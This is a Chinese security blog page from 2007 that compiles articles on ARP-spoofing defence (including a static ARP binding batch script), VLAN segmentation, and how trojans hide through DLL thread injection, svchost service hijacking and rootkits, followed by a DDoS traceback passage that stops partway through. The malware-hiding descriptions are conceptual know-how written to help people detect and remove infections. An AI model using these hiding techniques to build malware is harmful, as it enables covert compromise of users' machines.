星期五, 六月 08, 2007

防范ARP欺骗的综合解决方法

防范ARP欺骗的综合解决方法

ARP病毒防制方法待加强

  ARP病毒问题已经讲了很长一段时间了,大家对于ARP病毒的防制也总结了不少的经验,不断在网上发更新防制方法。但是新的ARP病毒的变种更加猖獗,更加充斥我们网络的不同角落给我们的管理工作带来不大不小的问题,同时也影响到网络的正常运行,所以对ARP病毒的防护仍然是一个热点问题。

利用Sniffer Pro彻底解决IP被盗用问题

16a.us病毒(又一次ARP病毒欺骗攻击)解决方案

高手告诉你如何清除局域网中的ARP病毒

系统安全谈之IP自身存在的不安全性

如何预防和处理ARP攻击病毒

彻底分析 ARP病毒查杀防范全攻略

用ARP伪装广播探测网络中的Sniffer

关于校园网内ARP病毒解决办法

妙用“IP地址冲突”揪出害群之马

ARP病毒入侵原理和解决方案

Arp欺骗截cookies入侵“中国黑客”网站

  近日,又听到有许多网管抱怨传统的绑定方法有时候不能做到防制或者不能根本解决问题,例举一些在日常处理中经常会出现的问题:

1、仅在PC上绑定安全网关的IP和MAC地址或者做一个批处理文件来进行绑定,当病毒机器伪造IP/MAC,使错误的数据包充斥与网络中会造成大面积的掉线等情况。

2、仅在路由器做MAC绑定,没有从根本上解决ARP防护,当中ARP病毒的机器伪造网关使其他电脑将数据发到伪造的网关同样会造成掉线等相关问题。

3、利用一些辅助工具软件,比如一些防ARP病毒攻击软件,或者在PC机安装系统是安装IP/MAC绑定软件等,但现在还没有一款很实用的防ARP攻击软件可以做到有效的防制功能,再就是有些软件占用系统资源比较大,如果有攻击的话会大量占用CPU使用率以及内存等同样造成网络的不可用等问题。

4、使用监控软件,但是ARP病毒的发作不是说有规律可寻找的,网络管不可能时时都去注意这样的问题。

5、某些软件通过做几个假的DLL文件欺骗探测软件,但是某些ARP新的变种病毒不需要探测就可以进行ARP攻击。

6、在客户绑定过程中出现输入的错误等操作上的不足。

  以上几个常用的方法其起到的作用是有限的,但是都会存在这样或者那样的弊端,我们必须寻求更好的解决办法,下面我们来介绍几招新的升级版的防治办法。

解决客户实例

  对于合肥有一家网吧有做了ARP绑定,亦无法抵挡ARP攻击, Qno侠诺工程师联系到客户并查看他的电脑,看到的批处理如下,并且PC 端通过Arp –a命令来确认并没有绑定。原因在与其echo后面的中文的叙述没有用“ ”来做标示,造成其批处理文件无法执行,其用户本机上根本没做相应的绑定工作,如图1。

@echo OFF

ping XXX.XXX.XXX.XXX(保证客户网络安全,其IP地址数字用X代替)

if %~n0==arp exit

if %~n0==Arp exit

if %~n0==ARP exit

echo 正在获取本机信息.....

:IP

FOR /f "skip=13 tokens=15 usebackq " %%i in (`ipconfig /all`) do Set IP=

%%i && GOTO MAC

:MAC

echo IP:%IP%

FOR /f "skip=13 tokens=12 usebackq " %%i in (`ipconfig /all`) do Set

MAC=%%i && GOTO GateIP

:GateIP

echo MAC:%MAC%

arp -s %IP% %MAC%

echo 正在获取网关信息.....

FOR /f "skip=17 tokens=13 usebackq " %%i in (`ipconfig /all`) do Set

GateIP=%%i && GOTO GateMac

:GateMac

echo IP:%GateIP%

FOR /f "skip=3 tokens=2 usebackq " %%i in (`arp -a %GateIP%`) do Set

GateMAC=%%i && GOTO Start

:Start

echo MAC:%GateMAC%

arp -d

arp -s %GateIP% %GateMAC%

echo 操作完成!!!

exit





图1

  通过对批处理文件做相应的修改,再检查路由器上的绑定,之后这个网吧就没有发现掉线问题了,至今网络运行正常,所以可看出通过双向绑定是完全可以解决ARP病毒防制的,确实是一个行之有效的办法,完全可以解决ARP病毒造成网络吊线、IP冲突的现象,使ARP病毒无能为力。同时建议用户在做双向绑定后,通过Arp –a的命令检查绑定是否有效,和路由器上的绑定是否有错误,这样来进一步确保防制ARP病毒的攻击,下面强调防制几个注意的问题。

1、执行完之后要用 arp -a 看 type 是 static 还是 dynamic。

2、不要用复杂的脚本,最简单的即可防止别人中了,自己不受影响,一般网吧都有还原卡,网管可以用软件监察,发现有中了ARP,提醒一下客人以防盗取帐号密码。

3、目前防毒软件也没有对此有很好的防范。

4、ARP称之为病毒,但实质上对于ARP协议来说,只是完善和加强(就好象信用卡在中国需要加密码,在外国只需要签名一样,但不是信用机制出了问题)。

5、不要指望能过广播发包,最终受影响的是自己的网络。

具体的ARP的解决方法

  一般要提前做好防制工作,同时需要在客户端和路由器上做双向的绑定工作,这样的话无论ARP病毒是伪造本机的IP/MAC或者网关的地址都不会出现上网掉线或者大面积断线等问题了

1、激活防止ARP病毒攻击:

  进入Qno侠诺路由器Web管理页面的“防火墙配置”的“基本页面”,激活“防止ARP病毒攻击”。

2、对每台pc上绑定网关的IP和其MAC地址

  进入电脑的Dos操作,通过arp –s令或者批处理来实现pc的绑定工作(命令格式:arp –s [路由器IP地址] [路由器MAC地址])。

  或者针对网络内的其他主机用同样的方法输入相应的主机IP以及MAC地址完成IP与MAC绑定。但是此动作,如果重启了电脑,作用就会消失,所以可以把此命令做成一个批处理文件,放在操作系统的启动里面:

@echo off

arp -d

arp -s路由器LAN IP 路由器LAN MAC

  当电脑上做绑定之后,就不会收到ARP欺骗攻击,向伪造的网关的 IP/MAC发送消息。

  对于已经中了ARP攻击的内网,要找到攻击源。方法:在PC上不了网或者ping丢包的时候,在DOS下打 arp –a命令,看显示的网关的MAC地址是否和路由器真实的MAC相同。如果不是,则查找这个MAC地址所对应的PC,这台PC就是攻击源。

3、在路由器端绑定用户IP/MAC地址

  Qno侠诺路由器提供IP/MAC绑定功能,你可以将内网的电脑的IP与对应的MAC地址绑定在一起,使路由器对没有绑定的IP/MAC将其封锁,当内网有ARP欺骗攻击的时候,其伪造IP/MAC向路由器发送消息,这时候由于伪造的IP/MAC并不在路由器的IP/MAC绑定列表里面,路由器会拒绝这类消息,将其挡掉。

4、进一步的防制

  Qno侠诺技术工程师建议通过一些手段来进一步控制ARP的攻击。

(1)病毒源,对病毒源头的机器进行处理,杀毒或重新装系统。

(2)网吧管理员检查局域网病毒,安装杀毒软件。

(3)给系统安装补丁程序。

(4)给系统管理员帐户设置足够复杂的强密码。

(5)经常更新杀毒软件,安装并使用网络防火墙软件。

(6)关闭一些不需要的服务,条件允许的可关闭一些没有必要的共享,也包括C$、D$等管理共享。完全单机的用户也可直接关闭Server服务

(7)建议用户不要随便点击打开QQ、MSN等聊天工具上发来的链接信息,以免病毒的传播。

总结

  我们通过以上综合的方法来解决ARP病毒攻击是行之有效的。虽然ARP病毒版本不断更新、不断升级,给企业用户及网吧不断带来新的冲击与危害,但是如果能够提前能够提前做好防制工作,相信ARP的危害会减少到最小的程度。

局域网网络层存在的不安全地方及其解决

来源:赛迪网技术社区 作者:doorsir

不安全的地方

由于局域网中采用广播方式,因此,若在某个广播域中可以侦听到所有的信息包,黑客就对可以对信息包进行分析,那么本广播域的信息传递都会暴露在黑客面前。

网络分段

网络分段是保证安全的一项重要措施,同时也是一项基本措施,其指导思想在于将非法用户与网络资源相互隔离,从而达到限制用户非法访问的目的。

网络分段可分为物理分段和逻辑分段两种方式:

物理分段通常是指将网络从物理层和数据链路层(OSI模型中的第一层和第二层)上分为若干网段,各网段相互之间无法进行直接通讯。目前,许多交换机都有一定的访问控制能力,可实现对网络的物理分段。逻辑分段则是指将整个系统在网络层(OSI模型中的第三层)上进行分段。例如,对于TCP/IP网络,可把网络分成若干IP子网,各子网间必须通过路由器、路由交换机、网关或防火墙等设备进行连接,利用这些中间设备(含软件、硬件)的安全机制来控制各子网间的访问。在实际应用过程中,通常采取物理分段与逻辑分段相结合的方法来实现对网络系统的安全性控制。

VLAN的实现

虚拟网技术主要基于近年发展的局域网交换技术(ATM和以太网交换)。交换技术将传统的基于广播的局域网技术发展为面向连接的技术。因此,网管系统有能力限制局域网通讯的范围而无需通过开销很大的路由器。

以太网从本质上基于广播机制,但应用了交换器和VLAN技术后,实际上转变为点到点通讯,除非设置了监听口,信息交换也不会存在监听和插入(改变)问题。

由以上运行机制带来的网络安全的好处是显而易见的:

信息只到达应该到达的地点。因此、防止了大部分基于网络监听的入侵手段。

通过虚拟网设置的访问控制,使在虚拟网外的网络节点不能直接访问虚拟网内节点。

但是,虚拟网技术也带来了新的安全问题:

执行虚拟网交换的设备越来越复杂,从而成为被攻击的对象。基于网络广播原理的入侵监控技术在高速交换网络内需要特殊的设置。基于MAC的VLAN不能防止MAC欺骗攻击。

采用基于MAC的VLAN划分将面临假冒MAC地址的攻击。因此,VLAN的划分最好基于交换机端口。但这要求整个网络桌面使用交换端口或每个交换端口所在的网段机器均属于相同的VLAN。

VLAN的划分方式的目的是保证系统的安全性。因此,可以按照系统的安全性来划分VLAN;可以将总部中的服务器系统单独划作一个VLAN,如数据库服务器、电子邮件服务器等。也可以按照机构的设置来划分VLAN,如将领导所在的网络单独作为一个Leader VLAN(LVLAN), 其他司局(或下级机构)分别作为一个VLAN,并且控制LVLAN与其他VLAN之间的单向信息流向,即允许LVLAN查看其他VLAN的相关信息,其他VLAN不能访问LVLAN的信息。VLAN之内的连接采用交换实现, VLAN与VLAN之间采用路由实现。由于路由控制的能力有限,不能实现LVLAN与其他VLAN之间的单向信息流动,需要在LVLAN与其他VLAN之间设置一个Gauntlet防火墙作为安全隔离设备,控制VLAN与VLAN之间的信息交流。

利用线程注射技术隐藏自己的病毒

利用线程注射技术隐藏自己的病毒

来源:赛迪网病毒求助专区 作者:sunlizc

隐藏是病毒的天性,在业界对病毒的定义里,“隐蔽性”就是病毒的一个最基本特征,任何病毒都希望在被感染的计算机中隐藏起来不被发现,因为病毒都只有在不被发现的情况下,才能实施其破坏行为。为了达到这个目的,许多病毒使用了各种不同的技术来躲避反病毒软件的检验,这样就产生了各种各样令普通用户头痛的病毒隐藏形式。由于木马后门的行为特征已具备病毒条件,因此这里把木马后门也统一归纳为病毒来描述。

开山鼻祖:隐藏窗口 & 隐藏进程 & 隐藏文件

在计算机流行的早期,计算机病毒和木马后门等危害程序在普通用户范围的普及并不是很广泛,这个时期的用户群对计算机和网络安全的防范意识可以说是几乎没有的,普通用户的系统也多为脆弱的Windows 95/98系列和电话线拨号的慢速网络,而那一段时间正是外国木马“bo”和国产木马雏形“冰河”、“netspy”等在如今看来各方面技术都颇为简单的远程控制软件大行其道的黄金时期,很多用户根本就没有防火墙和杀毒软件(即使有,也是以杀cih的为主),即使远方的黑客把用户的计算机翻了个底朝天,用户也不会有所察觉,这一时期接触此类技术的人相对较少,因此并未造成如今这个病毒到处蔓延的局面。

因为这个阶段国内用户的机器环境仍然以Windows 9x为主流,所以病毒编写者们并不需要消耗太多的脑筋就可以做到让病毒悄无声息运行的效果,并让它在alt+del+ctrl呼出的任务管理器中不可见。

我们都知道,在Windows下运行的程序界面都被定义为“窗口”,程序通过这个途径与用户产生交互,每个完整的程序都必须拥有至少一个窗口,但是如果编写者将这个窗口在运行期间设置为“不可见”呢?这样一来,用户就不会察觉到这个程序在桌面上运行了,但是如果有一定经验的用户打开任务管理器,他就会因为发现系统里多出来的进程而产生怀疑,因此病毒编写者在这个时期采取了初级形式的隐藏手段:隐藏进程。

其实所谓隐藏进程,是利用微软未公开的一个api(application programming interface,应用程序接口)函数“registerserviceprocess”将自身注册为“服务进程”,而恰巧Windows 9x中的任务管理器是不会显示此类进程的,结果就被病毒钻了空子,让“冰河”等木马在国内大部分普通用户的机器上安家落户。

而早期后门技术里,还有一个最基本的行为就是隐藏文件,与今天的各种隐藏手段相比,它可谓是“不入流”级别了——这里提到的“隐藏”,就是简单的将文件属性设置为“隐藏”而已,除此之外,再无别的保护手段了,然而,由于系统设计时为了避免初学者胡乱删除文件而默认“不显示系统和隐藏文件”的做法(到了Windows 2000/xp时代,这个做法更升级到“隐藏受保护的系统文件”了),却恰好给这些病毒提供了天然的隐身场所——大部分对电脑操作不熟悉的用户根本不知道“隐藏文件”的含义,更别提设置为“显示所有文件”了,在那个安全软件厂商刚开始探索市场的时代,用户更是不会留意太多安全产品及其实际含义,因而这个时期成了各种初期木马技术发展的重要阶段,利用这种手段制作的木马被统称为“第一代木马”。

以现在的技术和眼光看来,这些早期技术作品的发现和清理是相对较简单的了,因为它们采用的“进程隐藏”技术在nt体系上的Windows2000/xp/2003等操作系统上已经无效了,直接使用系统自带的任务管理器便能发现和迅速终止进程运行,而后在“控制面板”——“文件夹选项”里面设置“显示所有文件”和取消“隐藏受保护的系统文件”,就能发现那个被隐藏起来的木马程序了。对于Windows 9x用户,使用任意一款第三方的进程管理工具如“Windows优化大师”的进程管理组件即可轻松发现。

继续发展:使用线程注射技术的dll木马

虽然现在使用“线程注射”的木马病毒和流氓软件已经遍地开花了,但是从那个混沌时代经历过来的人都不会忘记首个采用“线程注射”的dll木马“广外幽灵”在当时所带来的恐惧,“线程注射”到底是种什么东西呢?下面就让我们来详细讲解一下。

首先,用户可能不会了解“线程”(thread)的意思,而要讲解“线程”,就不能不先提到“进程”(process)的概念。许多刚接触计算机的用户无法理解“进程”是什么东西:常常听到高手说打开任务管理器关闭某某进程,但是一看到任务管理器列表里的一堆东西,头就大了。许多用户知道使用任务管理器关闭一些失去响应的任务,但是如果某个任务没有在“应用程序”列表里出现,用户就不知所措了。到底什么是“进程”呢?“进程”是指一个可执行文件在运行期间请求系统在内存里开辟给它的数据信息块,系统通过控制这个数据块为运行中的程序提供数据交换和决定程序生存期限,任何程序都必须拥有至少一个进程,否则它不被系统承认。进程从某一方面而言就是可执行文件把自身从存储介质复制在内存中的映像,它通常和某个在磁盘上的文件保持着对应关系,一个完整的进程信息包括很多方面的数据,我们使用进程查看工具看到的“应用程序”选项卡包含的是进程的标题,而“进程”选项卡包含的是进程文件名、进程标识符、占用内存等,其中“进程文件名”和“进程标识符”是必须掌握的关键,“进程标识符”是系统分配给进程内存空间时指定的唯一数字,进程从载入内存到结束运行的期间里这个数字都是保持不变的,而“进程文件名”则是对应着的介质存储文件名称,根据“进程文件名”我们就可以找到最初的可执行文件位置。

任务管理器的“应用程序”项里列出来的“任务”,是指进程在桌面上显示出来的窗口对象,例如用户打开word 2003撰写文档,它的进程“winword.exe”会创建一个在桌面上显示的前台窗口,这个窗口就是任务管理器里看得见的“任务”了,而实际上真正在运行的是进程“winword.exe”。并不是所有的进程都会在任务管理器里留下“任务”的,像qq、msn和所有后台程序,它们并不会在任务列表里出现,但是你会在进程列表里找到它们,如果要它们在任务列表里出现该怎么办呢?只要让它们产生一个在桌面上出现的窗体就可以了,随便打开一个好友聊天,就会发现任务列表里终于出现了qq的任务。因此,真正科学的终止程序执行方案是针对“进程”来结束程序的运行,而不是在任务列表里关闭程序,因为木马作者们是不会让自己的木马在任务列表里出现的,但是进程列表里一般人都是逃不过的。

而“线程”,则是在一个进程里产生的多个执行进度实例,举个简单例子,一个网络文件传输程序如果只有一个线程(单线程)运作,那么它的执行效率会非常低下,因为它既需要从网络上读取文件数据,又需要把文件保存到磁盘,同时还需要绘制当前传输进度条,由于在代码的角度里这些操作只能一条条的顺序执行,程序就不能很好的做到在保存数据的同时绘制传输进度条,即使程序员将其勉强凑到一块执行,在用户方面看来,这个程序的响应会非常缓慢甚至直接崩溃,而“多线程”技术则是为了解决这种问题而产生的,采用“多线程”技术编写的应用程序在运行时可以产生多个同时执行的操作实例,例如一个采用“多线程”技术的网络文件传输程序就能同时分出三个进度来同时执行网络数据传输、文件保存操作和绘制传输进度条的操作,于是在用户看来,这个程序运行非常流畅,这就是线程的作用。在程序运行时,只能产生一个进程,但是在这个进程的内存空间(系统为程序能正常执行而开辟的独立内存领域)里,可以产生多个线程,其中至少有一个默认的线程,被称为“主线程”,它是程序主要代码的运行部分。

那么,“线程注射”又是什么含义呢?其实它的全称是“远程线程注射”(remotethread injection),通常情况下,各个进程的内存空间是不可以相互访问的,这也是为程序能够稳定运行打下基础,这个访问限制让所有进程之间互相独立,这样一来,任何一个非系统关键进程发生崩溃时都不会影响到其他内存空间里的进程执行,从而使nt架构的稳定性远远高于win9x架构。但是在一些特定的场合里,必须让进程之间可以互相访问和管理,这就是“远程线程”技术的初衷,这个技术实现了进程之间的跨内存空间访问,其核心是产生一个特殊的线程,这个线程能够将一段执行代码连接到另一个进程所处的内存空间里,作为另一个进程的其中一个非核心线程来运行,从而达到交换数据的目的,这个连接的过程被称为“注射”(injection)。远程线程技术好比一棵寄生在大树上的蔓藤,一旦目标进程被注射,这段新生的线程就成为目标进程的一部分代码了,只要目标进程不被终止,原进程无论是否还在运行都不会再影响到执行结果了。

与“线程注射”离不开的是“hook”技术,这个“hook”,又是什么呢?其官方定义如下:

钩子(hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

在这里,木马编写者首先把一个实际为木马主体的dll文件载入内存,然后通过“线程注射”技术将其注入其他进程的内存空间,最后这个dll里的代码就成为其他进程的一部分来实现了自身的隐藏执行,通过调用“hook”机制,这个dll木马便实现了监视用户的输入输出操作,截取有用的资料等操作。这种木马的实际执行体是一个dll文件,由于Windows系统自身就包含着大量的dll文件,谁也无法一眼看出哪个dll文件不是系统自带的,所以这种木马的隐蔽性又提高了一级,而且它的执行方式也更加隐蔽,这是由Windows系统自身特性决定的,Windows自身就是大量使用dll的系统,许多dll文件在启动时便被相关的应用程序加载进内存里执行了,可是有谁在进程里直接看到过某个dll在运行的?因为系统是把dll视为一种模块性质的执行体来调用的,它内部只包含了一堆以函数形式输出的模块,也就是说每个dll都需要由一个用到它的某个函数的exe来加载,当dll里的函数执行完毕后就会返回一个运行结果给调用它的exe,然后dll进程退出内存结束这次执行过程,这就是标准的dll运行周期,而采用了“线程注射”技术的dll则不是这样,它们自身虽然也是导出函数,但是它们的代码是具备执行逻辑的,这种模块就像一个普通exe,只是它不能直接由自身启动,而是需要有一个特殊作用的程序(称为加载者)产生的进程把这个dll的主体函数载入内存中执行,从而让它成为一个运行中的木马程序。了解Windows的用户都知道,模块是紧紧依赖于进程的,调用了某个模块的进程一旦退出执行,其加载的dll模块也就被迫终止了,但是在dll木马里,这个情况是不会因为最早启动的exe被终止而发生的,因为它使用了“远程线程注射”技术,所以,在用户发现异常时,dll木马早就不知道被注入哪个正常进程里了,即使用户发现了这个木马dll,也无法把它终止,因为要关闭它就必须在那么多的系统进程里找到被它注射的进程,并将其终止,对一般用户来说,这是个不可能完成的任务。

反黑知识:认识使用 Rootkit技术的木马

来源:赛迪网病毒求助专区 作者:sunlizc

【编者按:一旦木马利用了Rootkit技术,就变得十分难以辨认清除。】

自从“广外幽灵”开创了dll木马时代的先河以来,现在采用线程注射的dll木马和恶意程序已经随处可见了,除了普遍被采用的另行编写dll加载器程序躲在启动项里运行加载dll主体之外,“求职信”还带来了一种比较少见的通过注册表“hkey_local_machine\software\microsoft\windows nt\currentversion\windows\appinit_dlls”项目加载自身dll的启动方法,而相对于以上几种早期方法,现在更有一种直接利用系统服务启动自身的木马程序,这才是真正的难缠!

“服务”是windows系统的一大核心部分,在nt架构系统中,服务是指执行指定系统功能的程序、例程或进程,以便支持其他程序,尤其是底层(接近硬件)程序。通过网络提供服务时,服务可以在active directory中发布,从而促进了以服务为中心的管理和使用。服务是一种应用程序类型,它在后台运行。服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、web服务器、数据库服务器以及其他基于服务器的应用程序。 “服务”自身也是一种程序,由于使用的领域和作用不同,服务程序也有两种形式:exe和dll,采用dll形式的服务是因为dll能实现hook,这是一些服务必需的数据交换行为,而nt架构系统采用一个被称为“svchost.exe”的程序来执行dll的加载过程,所有服务dll都统一由这个程序根据特定分组载入内存,然而,如今越来越多病毒作者瞄上了这个系统自带的加载器,因为它永远也不能被查杀。

病毒作者将木马主体写成一个符合微软开发文档规范的服务性质dll模块文件,然后通过一段安装程序,将木马dll放入系统目录,并在服务管理器(scm)里注册自身为通过svchost.exe加载的服务dll组件之一,为了提高隐蔽性,病毒作者甚至直接替换系统里某些不太重要而默认开启的服务加载代码,如“distributed link tracking client”,其默认的启动命令是“svchost -k netsvcs”,如果有个病毒替换了启动命令为自己建立的分组“netsvsc”,即“svchost -k netsvsc”,在这种旁门左道加社会工程学的攻势下,即使是具备一般查毒经验的用户也难以在第一时间内察觉到问题出自服务项,于是病毒得以成功逃离各种查杀。

目前被发现使用此方法的木马已经出现,其中一个进程名为“ad1.exe”的广告程序就是典型例子,它通过替换“distributed link tracking client”服务的svchost启动项来躲过一般的手工查杀,同时它自身还是个病毒下载器,一旦系统感染了这个恶意程序,各种木马都有可能光临你的机器。

要清理dll木马,用户需要借助于sysinternals出品的第三方进程管理工具“process explorer”,利用它的“find handle or dll”功能,能迅速搜索到某个dll依附的进程信息并终结,让dll失去载体后就能成功删除,而dll木马的文件名为了避免和系统dll发生冲突,一般不会起得太专业,甚至有“safaf.dll”、“est.dll”这样的命名出现,或者在某些系统下根本不会出现的文件名,如“kernel.dll”、“rundll32.dll”等。除了使用“process explorer”查找并终止进程以外,还可以用icesword强行卸载某个进程里的dll模块来达到效果。

对于服务性质的dll,我们仍然使用“process explorer”进行查杀,由于它的层次结构,用户可以很直观的看到进程的启动联系,如果一台机器感染了杀不掉的顽固木马,有经验的用户做的第一件事情就是禁止掉不相关或者不重要的程序和服务在开机时运行,然后使用“process explorer”观察各个进程的情况,通过svchost.exe启动的dll木马虽然狡猾,但是它释放出exe文件运行时,一切都暴露了:一个svchost.exe服务进程执行了一个ad1.exe,还有比这更明显的吗?

svchost的分组信息位于注册表的“hkey_local_machine\software\microsoft\windows nt\currentversion\svchost”项目,这是svchost加载dll时的分组依据,如果用户发现了一个奇怪的分组信息,那就要提高警惕了。

隐藏技术发展的颠峰:Rootkit木马

随着安全技术的发展和计算机用户群的技术提高,一般的木马后门越来越难生存,于是一部分有能力的后门作者把眼光投向了系统底层——ring 0。位于ring 0层的是系统核心模块和各种驱动程序模块,所以位于这一层的木马也是以驱动的形式生存的,而不是一般的exe。后门作者把后门写成符合wdm规范(windows driver model)的驱动程序模块,把自身添加进注册表的驱动程序加载入口,便实现了“无启动项”运行。一般的进程查看器都只能枚举可执行文件exe的信息,所以通过驱动模块和执行文件结合的后门程序便得以生存下来,由于它运行在ring 0级别,拥有与系统核心同等级的权限,因此它可以更轻易的把自己隐藏起来,无论是进程信息还是文件体,甚至通讯的端口和流量也能被隐藏起来,在如此强大的隐藏技术面前,无论是任务管理器还是系统配置实用程序,甚至系统自带的注册表工具都失去了效果,这种木马,就是让人问之色变的Rootkit。

要了解Rootkit木马的原理,就必须从系统原理说起,我们知道,操作系统是由内核(kernel)和外壳(shell)两部分组成的,内核负责一切实际的工作,包括cpu任务调度、内存分配管理、设备管理、文件操作等,外壳是基于内核提供的交互功能而存在的界面,它负责指令传递和解释。由于内核和外壳负责的任务不同,它们的处理环境也不同,因此处理器提供了多个不同的处理环境,把它们称为运行级别(ring),ring让程序指令能访问的计算机资源依次逐级递减,目的在于保护计算机遭受意外损害——内核运行于ring 0级别,拥有最完全最底层的管理功能,而到了外壳部分,它只能拥有ring 3级别,这个级别能操作的功能极少,几乎所有指令都需要传递给内核来决定能否执行,一旦发现有可能对系统造成破坏的指令传递(例如超越指定范围的内存读写),内核便返回一个“非法越权”标志,发送这个指令的程序就有可能被终止运行,这就是大部分常见的“非法操作”的由来,这样做的目的是为了保护计算机免遭破坏,如果外壳和内核的运行级别一样,用户一个不经意的点击都有可能破坏整个系统。

由于ring的存在,除了由系统内核加载的程序以外,由外壳调用执行的一般程序都只能运行在ring 3级别,也就是说,它们的操作指令全部依赖于内核授权的功能,一般的进程查看工具和杀毒软件也不例外,由于这层机制的存在,我们能看到的进程其实是内核“看到”并通过相关接口指令(还记得api吗?)反馈到应用程序的,这样就不可避免的存在一条数据通道,虽然在一般情况下它是难以被篡改的,但是不能避免意外的发生,Rootkit正是“制造”这种意外的程序。简单的说,Rootkit实质是一种“越权执行”的应用程序,它设法让自己达到和内核一样的运行级别,甚至进入内核空间,这样它就拥有了和内核一样的访问权限,因而可以对内核指令进行修改,最常见的是修改内核枚举进程的api,让它们返回的数据始终“遗漏”Rootkit自身进程的信息,一般的进程工具自然就“看”不到Rootkit了。更高级的Rootkit还篡改更多api,这样,用户就看不到进程(进程api被拦截),看不到文件(文件读写api被拦截),看不到被打开的端口(网络组件sock api被拦截),更拦截不到相关的网络数据包(网络组件ndis api被拦截)了,我们使用的系统是在内核功能支持下运作的,如果内核变得不可信任了,依赖它运行的程序还能信任吗?

但即使是Rootkit这一类恐怖的寄生虫,它们也并非所向无敌的,要知道,既然Rootkit是利用内核和ring 0配合的欺骗,那么我们同样也能使用可以“越权”的检查程序,绕过api提供的数据,直接从内核领域里读取进程列表,因为所有进程在这里都不可能把自己隐藏,除非它已经不想运行了。也就是说,内核始终拥有最真实的进程列表和主宰权,只要能读取这个原始的进程列表,再和进程api枚举的进程列表对比,便能发现Rootkit进程,由于这类工具也“越权”了,因而对Rootkit进行查杀也就不再是难事,而Rootkit进程一旦被清除,它隐藏自身的措施也就不复存在,内核就能把它“供”出来了,用户会突然发现那个一直“找不到”的Rootkit程序文件已经老实的呆在文件管理器的视图里了。这类工具现在已经很多,例如icesword、patchfinder、gdb等。

道高一尺,魔高一丈,因为目前的主流Rootkit检测工具已经能检测出许多Rootkit木马的存在,因此一部分Rootkit作者转而研究Rootkit检测工具的运行检测算法机制,从而制作出新一代更难被检测到的木马——futo Rootkit。

国产优秀检测工具icesword在futo面前败下阵来,因为futo编写者研究的检测工具原型就是一款与之类似的black & light,所以我们只能换用另一款Rootkit检测工具darkspy,并开启“强力模式”,方可正常查杀Rootkit。

但是由于检测机制的变化,darkspy要检测到futo的存在,就必须保证自己的驱动比futo提前加载运行,这就涉及到优先级的问题,也是让业界感觉不太满意的一种方式,因为这样做的后果会导致系统运行效率下降,不到紧急关头,都不要轻易采用这种方法,然而现在的瑞星卡卡助手所推广的“破甲”技术,实现原理是与之类似的,它也会对系统造成一定影响,因而,这个介于安全和效率之间的选择,唯有留给用户自己思考了。

反黑经验谈:深入了解 DDOS与 DDOS追踪

来源:赛迪网安全社区 作者:dingdd

链级测试 (Link Testing)

多数的追踪技术都是从最接近victim的路由器开始,然后开始检查上流数据链,直到找到攻击流量发起源。理想情况下,这种过程可以递归执行直到找到攻击源头。这种技术假设攻击一直保持活动直到完成追踪,因此很难在攻击结束后、间歇性攻击或对追踪进行攻击调整等情况进行追踪。包括下面两种链级测试:

1、Input debugging

很多路由器都提供Input debugging特性,这能让管理员在一些出口端过滤特定的数据包,而且能决定可以达到那些入口。这种特性就被用来作traceback:首先,victim在确定被攻击时,要从所有的数据包中描述出攻击包标志。通过这些标志,管理员在上流的出口端配置合适的Input debugging。这个过滤会体现出相关的input端口,这个过滤过程可以一直朝上流进行,直到能够到达最初的源头。当然这种工作很多依靠手工,一些国外的ISP联合开发的工具能够在它们的网络中进行自动的追踪。

但是这种办法最大的问题就是管理花费。联系多个ISP并同他们合作需要时间。因此这种办法需要大量的时间,而且几乎不可能完成。

2、Controlled flooding

Burch和 Cheswick提出的方法。这种方法实际上就是制造flood攻击,通过观察路由器的状态来判断攻击路径。首先应该有一张上游的路径图,当受到攻击的时候,可以从victim的上级路由器开始依照路径图对上游的路由器进行控制的flood,因为这些数据包同攻击者发起的数据包同时共享了路由器,因此增加了路由器丢包的可能性。通过这种沿路径图不断向上进行,就能够接近攻击发起的源头。

这种想法很有独创性而且也很实际,但是有几个缺点和限制。最大的缺点就是这种办法本身就是一种DOS攻击,会对一些信任路径也进行DOS,这个缺点也很难用程序实施。而且,Controlled flooding要求有一个几乎覆盖整个网络的拓扑图。Burch和 Cheswick也指出,这种办法很难用于DDOS攻击的追踪。这种方法也只能对正在进行攻击的情况有效。

现在CISCO的路由器的CEF(Cisco Express Forwarding)实际上就是一种链级测试,也就是说,要用CEF追踪到最终源头的话,那么整个链路上的路由器都得使用CISCO的路由器,而且支持CEF。就得要Cisco 12000或者7500系列的路由器了。(不知道现在怎么样,没查最新的CISCO文档),但是要用这个功能是很费资源的。

在CISCO路由器(支持ip source-track的路由器)上IP源追踪以下面的步骤实现:

1、当发现目的被攻击,打开整个路由器上对目的地址的追踪,输入命令 ip source-track。

2、每个Line Card为要追踪的目的地址创建特定的CEF队列。对于line card或者端口适配器用特定的ASIC作包转换,CEF队列用于将包置入line card或者port adapter的CPU。

3、每个line card CPU收集关于要追踪目的的通讯信息。

4、所产生的数据定时导出到路由器。要现实这些流信息的摘要,输入命令:show ip source-track summary。要显示每个输入接口的更多的细节信息,输入命令show ip source-track。

5、统计被追踪的IP地址的细目表。这可用于上游路由器继续分析。可以在当前路由器上关闭IP source tracker,输入命令:no ip source-track。然后在上游路由器上再打开这个功能。

6、重复步骤1到5,直到找到攻击源。

Logging

这种方法通过在主路由器上记录数据包,然后通过数据采集技术来决定这些数据包的穿越路径。虽然这种办法可以用于对攻击后的数据进行追踪,它也有很明显的缺点,比如可能要求大量的资源(或者取样),并且对付大量数据的综合问题。

ICMP追踪

